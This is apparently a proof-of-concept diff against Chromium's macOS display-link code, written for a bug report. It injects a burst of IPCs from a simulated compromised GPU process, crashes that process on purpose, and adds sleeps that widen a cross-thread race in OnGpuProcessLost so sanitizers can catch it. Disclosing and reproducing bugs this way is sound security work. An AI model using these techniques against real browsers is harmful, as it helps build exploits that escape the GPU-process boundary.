diff --git a/components/viz/service/frame_sinks/external_begin_frame_source_mojo_mac.cc b/components/viz/service/frame_sinks/external_begin_frame_source_mojo_mac.cc --- a/components/viz/service/frame_sinks/external_begin_frame_source_mojo_mac.cc +++ b/components/viz/service/frame_sinks/external_begin_frame_source_mojo_mac.cc @@ -1,6 +1,9 @@ // Copyright 2024 The Chromium Authors +#include +#include "base/threading/platform_thread.h" + #include "components/viz/service/frame_sinks/external_begin_frame_source_mojo_mac.h" namespace viz { @@ void ExternalBeginFrameSourceMojoMac::SetSupportedDisplayLinkId( int64_t display_id, bool supported) { + // ---- POC: GPU-side attack injection (simulates compromised GPU) ---- + // Once the browser tells us a display link is ready, spray + // NeedsBeginFrameWithId IPCs to the browser's VSync thread, then crash the + // GPU process. The browser UI thread will run + // DisplayLinkMacMojo::OnGpuProcessLost() concurrently with the VSync thread + // draining these IPCs and servicing CADisplayLink callbacks at 60-120Hz. + static bool armed = true; + if (supported && armed && client_.is_bound()) { + armed = false; + // Activate CADisplayLink so OnDisplayLinkVSyncCallback starts firing on + // the VSync thread (touches external_begin_frame_controller_). + client_->NeedsBeginFrameWithId(display_id, true); + // Queue a burst that the VSync thread will process while UI thread is + // mid-std::move() of display_links_ / vsync_callbacks_. + for (int i = 0; i < 256; ++i) { + client_->NeedsBeginFrameWithId(display_id, (i & 1) == 0); + } + client_.FlushForTesting(); + // Let CADisplayLink spin up (~1 frame). + usleep(20000); + // Crash GPU → browser HostFrameSinkManager disconnect → OnGpuProcessLost. + LOG(FATAL) << "POC: intentional GPU crash to trigger browser race"; + } + // ---- end POC ---- + // ... original body ... diff --git a/ui/compositor/display_link_mac_mojo.mm b/ui/compositor/display_link_mac_mojo.mm --- a/ui/compositor/display_link_mac_mojo.mm +++ b/ui/compositor/display_link_mac_mojo.mm @@ -4,6 +4,7 @@ #include "ui/compositor/display_link_mac_mojo.h" +#include "base/threading/platform_thread.h" #include #include "components/viz/common/frame_sinks/begin_frame_args.h" @@ -86,6 +87,12 @@ void DisplayLinkMacMojo::OnGpuProcessLost( DCHECK(display::Screen::HasScreen()); display::Screen::Get()->RemoveObserver(this); + // ---- POC: widen race window so TSAN/ASAN can observe the unsynchronized + // cross-thread std::move + mojo::Remote::Swap. This sleep is on the UI + // thread *between* the empty() check and the std::move, while VSync thread + // is concurrently iterating/mutating the same containers. ---- + base::PlatformThread::Sleep(base::Milliseconds(30)); + if (!vsync_callbacks_.empty()) { task_runner()->PostTask( FROM_HERE, base::DoNothingWithBoundArgs(std::move(vsync_callbacks_))); @@ -96,6 +103,9 @@ void DisplayLinkMacMojo::OnGpuProcessLost( } // Reconnect IPC. Destory the old controller and the old receiver on the + // ---- POC: second widening point: VSync thread's OnDisplayLinkVSyncCallback + // is reading is_bound()/operator-> on external_begin_frame_controller_ ---- + base::PlatformThread::Sleep(base::Milliseconds(30)); // VSyncThread first. if (external_begin_frame_controller_) { task_runner()->PostTask(FROM_HERE, base::DoNothingWithBoundArgs(std::move(